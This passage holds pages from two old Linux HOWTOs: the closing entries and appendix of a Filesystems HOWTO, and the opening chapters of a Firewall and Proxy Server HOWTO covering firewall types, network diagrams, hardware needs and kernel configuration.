  • http://uw7doc.sco.com/FS_admin/_The_sfs_File_System_Type.html - UnixWare 7 documentation: SFS Filesystem

9.25 Spiralog filesystem (OpenVMS)

Spiralog is a 64bit high-performance filesystem for the OpenVMS. The Spiralog combines log-structured technology with more traditional B-tree technology to provide a general abstraction. The B-tree mapping mechanism uses write-ahead logging to give stability and recoverability guarantees.

Spiralog-related links at Digital:

  • http://www.digital.com/info/SP6048/ - Spiralog File System for OpenVMS Alpha
  • http://www.digital.com/DTJM01/DTJM01AH.HTM - Overview of the Spiralog File System
  • http://www.digital.com/DTJM02/DTJM02HM.HTM - Design of the Server for the Spiralog File System

9.26 System V and derived filesystems

Homepage of System V Linux project is at http://www.knm.org.pl/prezes/sysv.html. Maintainer of this project is <kgb@manjak.knm.pl.org>.

AFS - Acer Fast Filesystem

The Acer Fast Filesystem is used on SCO Open Server. It is similar to the System V Release 4 filesystem, but it is using bitmaps instead of chained free-list of blocks.

EAFS - Extended Acer Fast Filesystem

The AFS filesystem can be 'extended' to handle file names up to 255 characters, but directories entries still have 14-char names. This filesystem type is used on SCO Open Server.

Coherent filesystem

S5

This filesystem is used in UnixWare. It's probably SystemV compatible, but I haven't verified it yet. For more information see http://uw7doc.sco.com/FS_admin/_The_s5_File_System_Type.html.

S51K - SystemV 1K

Version 7 filesystem

This filesystem type is used on Version 7 Unix for PDP-11 machines.

Xenix filesystem

9.27 Text - (Philips' CD-ROM Filesystem)

Philips' standard for encoding disc and track data on audio CDs.

9.28 UDF - Universal Disk Format (DVD-ROM filesystem)

There is a Linux UDF filesystem driver:

  • Homepage: http://trylinux.com/projects/udf/
  • Download: http://trylinux.com/projects/udf/udf-0.8.0.1.tar.gz
  • Author: Dave Boynton < dave@trylinux.com>
  • Mailing-list: <linux_udf@hootie.lvld.hp.com>
  • License: GPL
  • Access: Read-only

9.29 UFS

Note: People often call BSD Fast Filesystem incorrectly UFS. FFS and UFS are *diferrent* filesystems. All modern Unixes use FFS filesystem, not UFS! UFS was used in early BSD versions. You can download source code at http://minnie.cs.adfa.edu.au/TUHS/.

Useful links:

  • http://www.sun.ca/white-papers/ufs-cluster.html - Implementation of write-clustering for Sun's UFS

See also: BSD FFS

9.30 V7 Filesystem

The V7 Filesystem was used in Seventh Edition of UNIX Time Sharing system (about 1980). For more information see 7th Ed. source code, which is available from the Unix Archive: http://minnie.cs.adfa.edu.au/TUHS/.

9.31 VxFS - Veritas filesystem (HP-UX, SCO UnixWare, Solaris)

This is commercial filesystem developer by Veritas Inc. You can see it in HP-UX, SCO UnixWare, Solaris and probably other systems. It has very interesting features: Extent based allocation, Journaling, access control lists (ACLs), up to 2 terabyte large file support, online backup (snapshot filesystem), BSD style quotas and many more.

Three VxFS versions are available with VxFS:

Version 1: This is original VxFS, not commonly in use.

Version 2: Support for filesets and dynamic inode allocation.

Version 4: Latest version, supports large files and quotas.

Note that HP-UX, Solaris and UnixWare versions use slightly different structures, so you may not be able to read VxFS when you connect it to different system.

VxFS related links:

  • http://www.veritas.com/ - Veritas Inc < vx-sales@veritas.com>.
  • http://uw7doc.sco.com/ODM_FSadmin/CONTENTS.html - VxFS ODM FS Admin - UnixWare 7 (documentation, really good).
  • http://uw7doc.sco.com/FS_manager/fsD.vxfsopt.html - VxFS FS Manager - UnixWare 7 (documentation).
  • http://manuals.mchp.siemens.de:80/dynaweb/english/ru544e/drlugueb/o25636e1/@Generic__BookView/1641;cd=3 - VxFS - Reliant Unix.

See also: VxVM (Veritas volume manager) and journaling filesystems.

VxTools

Unix command-line utilities for accessing VxFS versions 2 and 4 are available under the GNU GPL:

  • Homepage: http://www.penguin.cz/~mhi/fs/vxfs/
  • Download: ftp://ftp.penguin.cz/pub/users/mhi/vxfs/
  • Author: Martin Hinner < mhi@penguin.cz>
  • Mailing-list: <fs-l@penguin.cz>
  • License: GPL
  • Access: Read-only, command-line utilites
Vxtools is a set of command-line utilites which allow you to access your VxFS filesystem from Linux (and possibly other Unixes). Current version can read VxFS versions 2 and 4.

I (mhi) plan also VxFS Linux kernel driver.

AFAIK, Rodney Ramdas < rodney@quicknet.nl> works on VxFS driver for FreeBSD. I don't know current status of his project, so if you want more info contact him directly.

9.32 XFS - Extended filesystem (IRIX)

XFS(tm) is the next-generation file system for Silicon Graphics[TM] systems, from desktop workstations to supercomputers. XFS provides full 64-bit file capabilities that scale easily to handle extremely large files and file systems that grow to 1 terabyte. The XFS file system integrates volume management, guaranteed rate I/O, and journaling technology for fast, reliable recovery. File systems can be backed up while still in use, significantly reducing administrative overhead.

XFS is designed for a very high performance; sustained throughput in excess of 300MB per second has been demonstrated on CHALLENGE systems. The XFS file system scales in performance to match the CHALLENGE MP architecture. Traditional files, directories, and file systems have reduced performance as they grow in size. With the XFS file system, there is no performance penalty. For example, XFS directories have been tested with up to 32 million files in a single directory.

XFS is a journalled file system. It logs changes to the inodes, directories and bitmaps to the disk before the original entries are updated. Should the system crash before the updates are done they can be recreated using the log and updated as intended.

XFS uses a space manager to allocate disk space for the file system and control the inodes. It uses a namespace manager to control allocation of directory files. These managers use B-tree indexing to store file location information, significantly decreasing the access time needed to retrieve file information.

Inodes are created as needed and are not restricted to a particular area on a disk partition. XFS tries to position the inodes close to the files and directories they reference. Very small files, such as symbolic links and some directories, are stored as part of the inode, to increase performance and save space. Large directories use B-tree indexing within the directory file to speed up directory searches, additions and deletions.

Useful XFS links:

  • http://www.sgi.com/Technology/xfs-whitepaper.html XFS whitepaper

XFS Linux port covered by the GNU General Public License is available from SGI Inc.:

  • Homepage: http://oss.sgi.com/projects/xfs/
  • Download: ftp://oss.sgi.com/www/projects/xfs/download/
  • Author: SGI Inc., http://www.sgi.com/
  • License: GPL
  • Access: Read-write

9.33 Xia FS

This filesystem was developed to replace old Minix filesystem in Linux. Author of this fs is Franx Xia < qx@math.columbia.edu>


Filesystems HOWTO: Raw partitions

 Next Previous Contents

10. Raw partitions

10.1 Backing up raw partitions using DBsnapshot

(todo: www.crosstor.com)


Filesystems HOWTO: Appendix

 Next Previous Contents

11. Appendix

11.1 Network filesystems

This HOWTO is not about Network filesystems, but I should mention them.

There is a brief list of some which I know:

AFS - Andrew Filesystem

  • The AFS FAQ is at http://www.angelfire.com/hi/plutonic/afs-faq.html.
  • Commercial clients and servers for almost all platforms (except win98) are available from IBM. See http://www.transarc.com/Product/EFS/AFS/index.html
  • A free client for Unix is available from the Arla Team at http://www.stacken.kth.se/projekt/arla/.
  • A free Server is also in preparation, but not in production yet.

CODA

  • Homepage: http://www.coda.cs.cmu.edu/
  • Download: ftp://ftp.coda.cs.cmu.edu/pub/coda/linux/
  • Author: CMU Coda Group < braam@coda.cs.cmu.edu>.
  • License: GPL
  • Access: R/W
Coda is a distributed filesystem with novel features such as disconnected operation and server replication.

NFS - Network filesystem (Unix)

NCP - NetWare Core Protocol (Novell NetWare)

SMB - Session Message Block (Windows 3.x/9x/NT)

This protocol is used in Windows world.

Intermezzo

  • Homepage: http://inter-mezzo.org/
  • Download: http://inter-mezzo.org/downloads.html
  • Author: Stelias and Redhat < info@stelias.com>.
  • License: GPL
  • Access: R/W
Intermezzo is a distributed file system for Linux. It was inspired from coda but uses the disk file system as a persistent cache. Intermezzo supports disconnected operation but does not yet implement an identification system.

11.2 Encrypted filesystems

CFS

  • Homepage: ?
  • Download: ?
  • Author: Matt Blaze < mab@research.att.com>.
  • License: ?
  • Access: Read/Write, using DES/3DES.
CFS pushes encryption services into the Unix(tm) file system. It supports secure storage at the system level through a standard Unix file system interface to encrypted files. Users associate a cryptographic key with the directories they wish to protect. Files in these directories (as well as their pathname components) are transparently encrypted and decrypted with the specified key without further user intervention; cleartext is never stored on a disk or sent to a remote file server. CFS employs a novel combination of DES stream and codebook cipher modes to provide high security with good performance on a modern workstation. CFS can use any available file system for its underlying storage without modification, including remote file servers such as NFS. System management functions, such as file backup, work in a normal manner and without knowledge of the key.

TCFS

  • Homepage: http://tcfs.dia.unisa.it/
  • Download: ftp://tcfs.dia.unisa.it/pub/tcfs/
  • Authors: Luigi Catuogno < luicat@tcfs.dia.unisa.it>, Aniello Del Sorbo < anidel@tcfs.dia.unisa.it>, Luigi Della Monica < dellui@tcfs.dia.unisa.it>, G.Cattaneo < cattaneo@dia.unisa.it>, G.Persiano ( http://www.dia.unisa.it/~giuper/), Ermelindo (Erry) Mauriello < errmau@tcfs.dia.unisa.it>, Angelo Celentano < angcel@tcfs.dia.unisa.it>, Andrea Cozzolino < andcoz@tcfs.dia.unisa.it>.
  • License: GPL
  • Access: Read/Write transparently using CBC-DES/3DES/RC5/IDEA/Others..
The main difference between TCFS and CFS is the trasparency to user obtained by using TCFS. As a matter of fact, CFS works in user space while TCFS works in the kernel space thus resulting in improved performances and security. The dynamic encryption module feature of TCFS allows a user to specify the encryption engine of his/her choiche to be used by TCFS. Currently available only for Linux, TCFS will be relased soon also for NetBSD, and will support in a near future also other FS then NFS.

SFS

( TODO: http://www.cs.auckland.ac.nz/~pgut001/sfs/index.html )

VS3FS: Steganographic File System for Linux

  • Homepage: http://www.linux-security.org/sfs/
  • License: ?
  • Access: ?
fspatch is a kernel patch which introduces module support for the steganographic file system (formerly known as vs3fs, an experimental type of filesytem that not only encrypts all information on the disk, but also tries to hide that information in such a way that it cannot be proven to even exist on the disk. This enables you to keep sensitive information on a disk, while not be prone to being forced to reveal that information. Even under extreme circumstances, fake documents could be stored on other parts of the disk, for which a pasword may be revealed. It should not be possible to find out whether any other information is stored on the disk.

11.3 Filesystem benchmarking utilities

IOzone

  • Homepage: http://www.iozone.org/
  • Download: http://www.iozone.org/src/stable/
  • License: freely distributable
IOzone is a filesystem benchmark tool. The benchmark generates and measures a variety of file operations. Iozone has been ported to many machines and runs under many operating systems.

11.4 Writing your own filesystem driver

DOS

I haven't seen yet any good page about writing DOS filesystem drivers (Network redirectors) on the net. The best source is Ralf Brown's interrupt list and iHPFS source code.

OS/2

  • ftp://ftp.leo.org/pub/comp/os/os2/leo/devtools/doc/ifsinf.zip
  • ftp://hobbes.nmsu.edu/pub/os2/system/drivers/filesys/32drv170.zip - 32 bits OS/2 device driver and IFS support. Provides 32 bits kernel services (DevHelp) and utility functions to 32 bits OS/2 ring 0 code (device drivers and installable file system drivers).

Windows NT

Microsoft IFS kit page ( http://www.microsoft.com/ddk/IFSkit/) will be useful as the best way to get into NT filesystems development (even for $1K it costs).

For more information about writing FS drivers for Windows NT see http://www.ing.umu.se/~bosse/ by < bosse@acc.umu.se>.

11.5 Related documents

  • http://www.honeycomb.net/os/holistic/connect/filesys.htm - good page about filesystems
  • http://home.att.net/~artnaseef/ - Linux overlay filesystem by < artnaseef@worldnet.att.net>.
  • http://www.braysystems.com/linux/trustees.html - Linux trustees
  • http://tcfs.dia.unisa.it - Transparent Cryptography Filesystem
  • http://www.sas.com/standards/large.file - Large file summit - attacks the problem of 2gig+ of file in a 32bit computer
  • http://www.coda.cs.cmu.edu/ - The CODA project (a distributed file system based on AFS)
  • ftp://ftp.scis.org/pub/lfs/ - LFS related papers
  • http://www.redhat.com:8080/HyperNews/get/khg.html - Linux Kernel Hacker's guide
  • http://www.win.tue.nl/~aeb/linux/largedisk.html - Large disk HOWTO
  • http://www.atnf.csiro.au/~rgooch/linux/kernel-patches.html - The Linux devfs
  • http://gfs.lcse.umn.edu/ - The Global File System (GFS)
  • ftp://hobbes.nmsu.edu/pub/os2/system/drivers/filesys/tvfs211.zip - The Toronto Virtual Filesystem/2.
  • ftp://hobbes.nmsu.edu/pub/os2/system/drivers/filesys/ramfs64.zip Dynamic RAM drive IFS driver for OS/2
  • http://doc.sco.com/ - UnixWare and SCO Unix documentation online
  • http://uw7doc.sco.com/ - UnixWare 7 documentation online
  • http://publib.boulder.ibm.com/cgi-bin/bookmgr/BOOKS/SG244428/CCONTENTS - Inside OS/2 LAN Server 4.0
  • ftp://tsx-11.mit.edu/pub/linux/ALPHA/userfs/ - Linux UserFS, it allows you to write a Linux process which implements a filesystem.
  • http://www.nyx.net/~sgjoen/disk.html - Stein Gjoen's Multi Disk System Tuning HOWTO.
  • http://linuxtoday.com/stories/5556.html - Linux Today: Kragen's Amazing List of Filesystems.
  • http://www.koehntopp.de/kris/artikel/dateisysteme/ - Kristian Kohntopp's Unix Filesystems (in German).


Firewall and Proxy Server HOWTO

Mark Grennan, mark@grennan.com

v0.80, Feb. 26, 2000

This document is designed to describe the basics of firewall systems and give you some detail on setting up both a filtering and proxy firewall on a Linux based system. An HTML version of this document is available at http://www.grennan.com/Firewall-HOWTO.html

1. Introduction

  • 1.1 Feedback
  • 1.2 Disclaimer
  • 1.3 Copyright
  • 1.4 My Reasons for Writing this
  • 1.5 Further Readings

2. Understanding Firewalls

  • 2.1 Firewall Politics
  • 2.2 Types of Firewalls

3. Firewall Architecture

  • 3.1 Dial-up Architecture
  • 3.2 Single Router Architecture
  • 3.3 Firewall with Proxy Server
  • 3.4 Redundent Internet Configuration

4. Setting up the Linux Filtering Firewall

  • 4.1 Hardware requirements

5. Software requirements

  • 5.1 Selecting a Kernel
  • 5.2 Selecting a proxy server

6. Preparing the Linux system

  • 6.1 Compiling the Kernel
  • 6.2 Configuring two network cards
  • 6.3 Configuring the Network Addresses
  • 6.4 Testing your network
  • 6.5 Securing the Firewall

7. IP filtering setup (IPFWADM)

8. IP filtering setup (IPCHAINS)

9. Installing a Transparent SQUID proxy

10. Installing the TIS Proxy server

  • 10.1 Getting the software
  • 10.2 Compiling the TIS FWTK
  • 10.3 Installing the TIS FWTK
  • 10.4 Configuring the TIS FWTK

11. The SOCKS Proxy Server

  • 11.1 Setting up the Proxy Server
  • 11.2 Configuring the Proxy Server
  • 11.3 Working With a Proxy Server
  • 11.4 Drawbacks with Proxy Servers

12. Advanced Configurations

  • 12.1 A large network with emphasis on security

13. Making Management Easy

  • 13.1 Firewall tools
  • 13.2 General tools

14. Defeating a Proxy Firewall

15. APPENDEX A - Example Scripts

  • 15.1 RC Script useing GFCC
  • 15.2 GFCC script
  • 15.3 RC Script without GFCC

16. APPENDEX B - An VPN RC Script for RedHat


Firewall and Proxy Server HOWTO: Introduction

 Next Previous Contents

1. Introduction

David Rudder wrote this original version of this Firewall-HOWTO, these many moons ago, and I'd still like to thank him for allowing me to update his work.

I'd also like to thank Ian Gough for kindly assisting a this dislexic writer.

Firewalls have gained great popularity as the ultimate in Internet Security. Like most hot subject they are also often misunderstood. This HOWTO will go over the basics of what a firewall is and how to set one up.

I am using kernel 2.2.13 and RedHat 6.1 to develop this howto so the examples here are based on this distribution. If you find differences in your distribution, please email me and I'll update this howto.

1.1 Feedback

Any feedback is very welcome. PLEASE REPORT ANY INACCURACIES IN THIS PAPER!!! I am human, and prone to making mistakes. If you find a fix for anything please send it to me. I will try to answer all e-mail, but I am busy, so don't get insulted if I don't.

My email address is mark@grennan.com

1.2 Disclaimer

I AM NOT RESPONSIBLE FOR ANY DAMAGES INCURRED DUE TO ACTIONS TAKEN BASED ON THIS DOCUMENT. This document is meant as an introduction to how firewalls and proxy servers work. I am not, nor do I pretend to be, a security expert. ;-) I am just some guy who has read too much and likes computers more than most people. Please, I am writing this to help people get acquainted with this subject, and I am not ready to stake my life on the accuracy of what is in here.

1.3 Copyright

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please email me. (See Above)

1.4 My Reasons for Writing this

Several years ago, while working for the State of Oklahoma as their "Internet Administrator" I was ask to "put the State on the Internet", with no budget. (Note: There was no such title at the time. I was just the guy doing all the work.) The best way to make this happen was to use as much free software and junk hardware as I could. Linux and a bunch of old 486s were all I had to work with.

Commercial firewalls are VERY over priced and the documentation on how they work is considered almost top secret. I found creating a firewall of my own was almost impossible.

At my next job, I was asked to put in a firewall. Linux had just added firewall code. So again with no budget I started building a firewall with Linux. Six months later my firewall was in place and this document was updated.

1.5 Further Readings

  • The The Linux Networking Overview HOWTO
  • The Ethernet HOWTO
  • IPchains Firewalling made Easy!
  • Linux Network Address Translation
  • The Net-3 HOWTO
  • The NET-PPP HOWTO
  • The easiest way to create Virtual Tunnels over TCP/IP networks

[ More URLS go here ]


Firewall and Proxy Server HOWTO: Understanding Firewalls

 Next Previous Contents

2. Understanding Firewalls

A firewall is a structure intended to keep a fire from spreading. Building have firewalls made of brick walls completely dividing sections of the building. In a car a firewall is the metal wall separating the engine and passenger compartments.

Internet firewalls are intended to keep the flames of Internet hell out of your private LAN. Or, to keep the members of your LAN pure and chaste by denying them access the all the evil Internet temptations. ;-)

The first computer firewall was a non-routing Unix host with connections to two different networks. One network card connected to the Internet and the other to the private LAN. To reach the Internet from the private network, you had to logon to the firewall (Unix) server. You then used the resources of the system to access the Internet. For example, you could use X-windows to run Netscape's browser on the firewall system and have the display on your work station. With the browser running on the firewall it has access to both networks.

This sort of dual homed system (a system with two network connections) is great if you can TRUST ALL of your users. You can simple setup a Linux system and give an account accounts on it to everyone needing Internet access. With this setup, the only computer on your private network that knows anything about the outside world is the firewall. No one can download to their personal workstations. They must first download a file to the firewall and then download the file from the firewall to their workstation.

BIG NOTE: 99% of all break-ins start with gaining account level access on the system being attacked. Because of this I don't recommend this type of firewall. It is also very limiting.

2.1 Firewall Politics

You shouldn't believe a firewall machine is all you need. Set policies first.

Firewalls are used for two purposes.

  1. to keep people (worms / crackers) out.
  2. to keep people (employees / children) in.

When I started working on firewalls I was surprised to learn the company I worked for were more interested in "spying" on their employees then keeping crackers out of their networks.

At least in my state (Oklahoma) employers have the right to monitor phone calls and Internet activity as long as they inform the employees they are doing it.

Big Brother is not government. Big Brother = Big Business.

Don't get me wrong. People should work, not play at work. And I feel the work ethic has been eroding. However, I have also observed that management types are the biggest abusers of the rules they set. I have seen hourly workers reprimanded for using the Internet to looking for bus routesto get to work while the same manager used hours of work time looking for fine restaurants and nightclubs to take prospective customers.

My fix for this type of abuse is to publish the firewall logs on a Web page for everyone to see.

The security business can be scary. If you are the firewall manager, watch your back.

How it create a security policy

I have seen some realy high folutin documentation on how to create a security policy. After many years of experence I know now say, don't believe a word of them. Create a security policy is simple.

  1. describe what you need to service
  2. describe the group of people you need to service
  3. describe which service each group needs access to
  4. for each service group describe how the service should be keep secure
  5. write a statment making all other forms of access a vialation

Your policy will become more complicated with time but don't try to cover to much ground now. Make it simple and clear.

2.2 Types of Firewalls

There are two types of firewalls.

  1. Filtering Firewalls - that block selected network packets.
  2. Proxy Servers (sometimes called firewalls) - that make network connections for you.

Packet Filtering Firewalls

Packet Filtering is the type of firewall built into the Linux kernel.

A filtering firewall works at the network level. Data is only allowed to leave the system if the firewall rules allow it. As packets arrive they are filtered by their type, source address, destination address, and port information contained in each packet.

Many network routers have the ability to perform some firewall services. Filtering firewalls can be thought of as a type of router. Because of this you need a deep understanding of IP packet structure to work with one.

Because very little data is analyzed and logged, filtering firewalls take less CPU and create less latency in your network.

Filtering firewalls do not provide for password controls. User can not identify themselves. The only identity a user has is the IP number assigned to their workstation. This can be a problem if you are going to use DHCP (Dynamic IP assignments). This is because rules are based on IP numbers you will have to adjust the rules as new IP numbers are assigned. I don't know how to automate this process.

Filtering firewalls are more transparent to the user. The user does not have to setup rules in their applications to use the Internet. With most proxy servers this is not true.

Proxy Servers

Proxies are mostly used to control, or monitor, outbound traffic. Some application proxies cache the requested data. This lowers bandwidth requirements and decreases the access the same data for the next user. It also gives unquestionable evidence of what was transferred.

There are two types of proxy servers.

  1. Application Proxies - that do the work for you.
  2. SOCKS Proxies - that cross wire ports.

Application Proxy

The best example is a person telneting to another computer and then telneting from there to the outside world. With a application proxy server the process is automated. As you telnet to the outside world the client send you to the proxy first. The proxy then connects to the server you requested (the outside world) and returns the data to you.

Because proxy servers are handling all the communications, they can log everything they (you) do. For HTTP (web) proxies this includes very URL they you see. For FTP proxies this includes every file you download. They can even filter out "inappropriate" words from the sites you visit or scan for viruses.

Application proxy servers can authenticate users. Before a connection to the outside is made, the server can ask the user to login first. To a web user this would make every site look like it required a login.

SOCKS Proxy

A SOCKS server is a lot like an old switch board. It simply cross wires your connection through the system to another outside connection.

Most SOCKS server only work with TCP type connections. And like filtering firewalls they don't provide for user authentication. They can however record where each user connected to.


Firewall and Proxy Server HOWTO: Firewall Architecture

 Next Previous Contents

3. Firewall Architecture

There are lots of ways to structure your network to protect your systems using a firewall.

If you have a dedicated connections to the Internet through a router, you could plug the router directly into your firewall system. Or, you could go through a hub to provide for full access servers outside your firewall.

3.1 Dial-up Architecture

You may be using a dialup service like an ISDN line. In this case you might use a third network card to provide provide a filtered DMZ. This gives you full control over your Internet services and still separates them from your regular network.

                  __________
   _/\__/\_      |          |          _______________
  |        |     | Firewall |  (LAN)  |               |
 / Internet \----|  System  |--(HUB)--| Workstation/s |
 \_  _  _  _/    |__________|         |_______________|
   \/ \/ \/           |
                    (DMZ)
                    (HUB)

3.2 Single Router Architecture

If there is a router or cable modem between you and the Internet. If you own the router you could setup some hard filter rules in the router. If this router is owned by your ISP so you may not the have the needed controls. You can ask your ISP to put in filters.

                  _________           __________
   _/\__/\_      | Router  |         |          |          _______________
  |        |     |   or    |  (DMZ)  | Firewall |  (LAN)  |               |
 / Internet \----|Cable Mdm|--(HUB)--|  System  |--(HUB)--| Workstation/s |
 \_  _  _  _/    |_________|    |    |__________|         |_______________|
   \/ \/ \/                     |
                            (Outside)
                            (Server)

3.3 Firewall with Proxy Server

If you need to monitor where users of your network are going and your network is small, you can intergrate a proxy server into your firewall. ISP's some times do this to create interest list of their users to resell to marketing agencies.

                   __________
    _/\__/\_      | Proxy /  |          _______________
   |        |     | Firewall |  (LAN)  |               |
  / Internet \----|  System  |--(HUB)--| Workstation/s |
  \_  _  _  _/    |__________|         |_______________|
    \/ \/ \/

You can put the proxy server on your LAN as will. In this case the firewall should have rules to only allow the proxy server to connect to the Internet for the services it is providing. This way the users can get to the Internet only through the proxy.

                  __________
   _/\__/\_      |          |          _______________
  |        |     | Firewall |  (LAN)  |               |
 / Internet \----|  System  |--(HUB)--| Workstation/s |
 \_  _  _  _/    |__________|    |    |_______________|
   \/ \/ \/                      |     ______________
                                 |    |              |
                                 +----| Proxy Server |
                                      |______________|

3.4 Redundent Internet Configuration

If you are going to run a service like YAHOO or maybe SlashDot you may want to make your system by using redundant routers and firewalls. (Check out the High Availability HowTo.)

By using a round-robin DNS techniques to provide access to multipule web servers from one URL and multiple ISP's, routers and firewalls using High Avaibility technics you can create a 100% uptime service.

   _/\__/\_                                     _/\__/\_
  |        |                                   |        |
 /  ISP #1  \______                 (WAN)_____/ Partners \
 \_  _  _  _/      |                (HUB)     \_  _  _  _/
   \/ \/ \/        |               ___|____     \/ \/ \/
                 __|___           |_______ |
   _/\__/\_     |_____ |         |Firewall||          ______
  |        |   |      ||  (DMZ)  | System ||  (LAN)  |      |
 /  ISP #2  \--|Router||--(HUB)--|  (VPN) ||--(HUB)--| WS/s |
 \_  _  _  _/  |______|     |    |________|     |    |______|
   \/ \/ \/                 |         |         |     ______
          |             (Outside)  (Shared)     |    |      |
  ------  |             (Server)   (Server)     +----|Proxy |
 | WS/s | |                                          |______|
 | VPN  |-+
 |______|

It is easy to let your network get out of hand. Keep control of every connection. It only takes a user with a modem to compromise your LAN.


Firewall and Proxy Server HOWTO: Setting up the Linux Filtering Firewall

 Next Previous Contents

4. Setting up the Linux Filtering Firewall

4.1 Hardware requirements

Filtering firewalls don't require fancy hardware. They are little more then simple routers.

All you need is:

  1. a 486-DX66 with 32 meg of memory
  2. a 250m hard disk (500 recommended)
  3. network connections (LAN Cards, Serial Ports, Wireless?)
  4. monitor and keyboard

With some systems by using a serial port console, you can even eliminate the monitor and keyboard.

If you need a proxy server that will handle lots of traffic, you should get the largest system you can afford. This is because for every user that connects to the system it will be creating another process. If you will have 50 or more concurrent users I'm guessing you will need:

  1. a Pentium II with 64meg of memory
  2. a two gig hard disk to store all the logs
  3. two network connections
  4. monitor and keyboard
The network connections can be any type (NIC cards, ISDN, even modems).


Firewall and Proxy Server HOWTO: Software requirements

 Next Previous Contents

5. Software requirements

5.1 Selecting a Kernel

To create a filtering firewall, you don't need any special software. Linux will do. At the time of this writing I'm using RedHat 6.1.

The bilt in Linux firewall have changed several times. If you are using an old Linux kernel (1.0.x or older) geta new copy. These older used ipfwadm from http://www.xos.nl/linux/ipfwadm/ and is no longer supported.

If you are using 2.2.13 or newer you will be using ipchaining as developed by http://www.adelaide.net.au/~rustcorp/ipfwchains/ipfwchains.html

If you are using the newer 2.4 kernal there is a new firewall utility with more feachers. I will write about this soon.

5.2 Selecting a proxy server

If you want to setup a proxy server you will need one of these packages.

  1. Squid
  2. The TIS Firewall Toolkit (FWTK)
  3. SOCKS

Squid is a great package and works with Linux's Transparent Proxy feature. I will be describing how to setup this server.

AT the time of this writing, Network Associates and Trusted Information System's (TIS) , have merged. So keep watching their web sites for more information about changes. Mean while, the Tool Kit can still be had at. http://www.tis.com/research/software/

Trusted Information System put out a collection of programs designed to facilitate firewalling. With this toolkit, you set up one daemon for each service (WWW, telnet ect.) you will be using.


Firewall and Proxy Server HOWTO: Preparing the Linux system

 Next Previous Contents

6. Preparing the Linux system

Install as little of the Linux system as you can. My installation started with a server configuration and then I turn off ever un-needed service in /etc/inetd.conf. For more security you should uninstall the unneeded service.

Because most distributions don't dome with a kernel usefull to your perpose. You will need to compile your own kernal. It is best if you do this on a computer other then the firewall. If you do install a C compiler and utilities on your firewall, remove them after you have completed comfiguring your kernel.

6.1 Compiling the Kernel

Start with a clean minimal installation of your Linux distribution. The less software you have loaded the less holes, backdoors and/or bugs there will be to introduce security problems in your server.

Pick a stable kernel. I am using kernel 2.2.13 kernel for my system. So this documentation is based on it's settings.

You well need to recompile the Linux kernel with the appropriate options. If you haven't recompiled your kernel before you should read the Kernel HOWTO, the Ethernet HOWTO, and the NET-2 HOWTO.

Here are the network related setting I know work. I have marked some with a ?. If you will be using this feature, turn it on as well.

I use "make menuconfig" to edit my kernel settings.

    <*> Packet socket
    [ ] Kernel/User netlink socket
    [*] Network firewalls
    [ ] Socket Filtering
    <*> Unix domain sockets
    [*] TCP/IP networking
    [ ] IP: multicasting
    [*] IP: advanced router
    [ ] IP: kernel level autoconfiguration
    [*] IP: firewalling
    [?] IP: always defragment (required for masquerading)
    [?] IP: transparent proxy support
    [?] IP: masquerading
    --- Protocol-specific masquerading support will be built as modules.
    [?] IP: ICMP masquerading
    --- Protocol-specific masquerading support will be built as modules.
    [ ] IP: masquerading special modules support
    [*] IP: optimize as router not host
    < > IP: tunneling
    < > IP: GRE tunnels over IP
    [?] IP: aliasing support
    [*] IP: TCP syncookie support (not enabled per default)
    --- (it is safe to leave these untouched)
    < > IP: Reverse ARP
    [*] IP: Allow large windows (not recommended if <16Mb of memory)
    < > The IPv6 protocol (EXPERIMENTAL)
    ---
    < > The IPX protocol
    < > Appletalk DDP
    < > CCITT X.25 Packet Layer (EXPERIMENTAL)
    < > LAPB Data Link Driver (EXPERIMENTAL)
    [ ] Bridging (EXPERIMENTAL)
    [ ] 802.2 LLC (EXPERIMENTAL)
    < > Acorn Econet/AUN protocols (EXPERIMENTAL)
    < > WAN router
    [ ] Fast switching (read help!)
    [ ] Forwarding between high speed interfaces
    [ ] PU is too slow to handle full bandwidth
    QoS and/or fair queueing  --->

After making all the setting you need you should recompile, reinstall the kernel and reboot.

I use the command:

make dep;make clean;make bzlilo;make modules;make modules_install;init 6 to accomplish all of this in one step.

6.2 Configuring two network cards

If you have two network cards in your computer, you may need to add an append statement to your /etc/lilo.conf file to describe the IRQ and address of both cards. My lilo append statement looks like this:

append="ether=12,0x300,eth0 ether=15,0x340,eth1"

6.3 Configuring the Network Addresses

Now we arrive at the fun part of our setup. I'm not going to go deep into how to setup a LAN. Read the Networking-HOWTO to solve your problems here.

Your goal is to provide two network connection to your filtering firewall system. One on the Internet (unsecured side) and one on the LAN (secure side).

Anyway, you have a few decisions to make.

  1. Will you use Real IP number or Make some up for your LAN.
  2. Will your ISP assign the number or will you be using static IP numbers?

Since you don't want the internet to have access to your private network, you don't need to use "real addresses". You could just makeup addresses for your private LAN. But this is not recommended. If data gets routed out of your LAN, it might end up at another systems port.

There are a number of Internet address ranges set aside for private networks. Of these, 192.168.1.xxx, is set aside and we will use it in our examples.

You will need to use IP masquerading to make this happen. With this process the firewall will forward packets and translate them into "REAL " " IP address to travel on the Internet.

Using these non-routable IP address makes your network is more secure. Internet routers will not pass packets with these addresses.

You may want to read the IP Masquerading HOWTO at this point.

            24.94.1.123  __________    192.168.1.1
      _/\__/\_        \ |          | /           _______________
     |        |        \| Firewall |/           |               |
    / Internet \--------|  System  |------------| Workstation/s |
    \_  _  _  _/        |__________|            |_______________|
      \/ \/ \/

You must have a "real" IP address to assign to your Internet network card. This address can be permanently assigned to you. (A static IP address) or it can be assigned at network connect time by the PPP process.

You assign your inside IP numbers. Like 192.168.1.1 to the LAN card. This will be your gateway IP address. You can assign all the other machines in the protected network (LAN) a number in the 192.168.1.xxx range. (192.168.1.2 through 192.168.1.254)

I use RedHat Linux. To configure the network at boot time I added a ifcfg-eth1 file in the /etc/sysconfig/network-scripts directory. You may also find a ifcfg-ppp0 or ifcfg-tr0 in this directory. These 'ifcfg-' files are used by RedHat to configure and enable your network devices at boot time. The are named after the connection type.

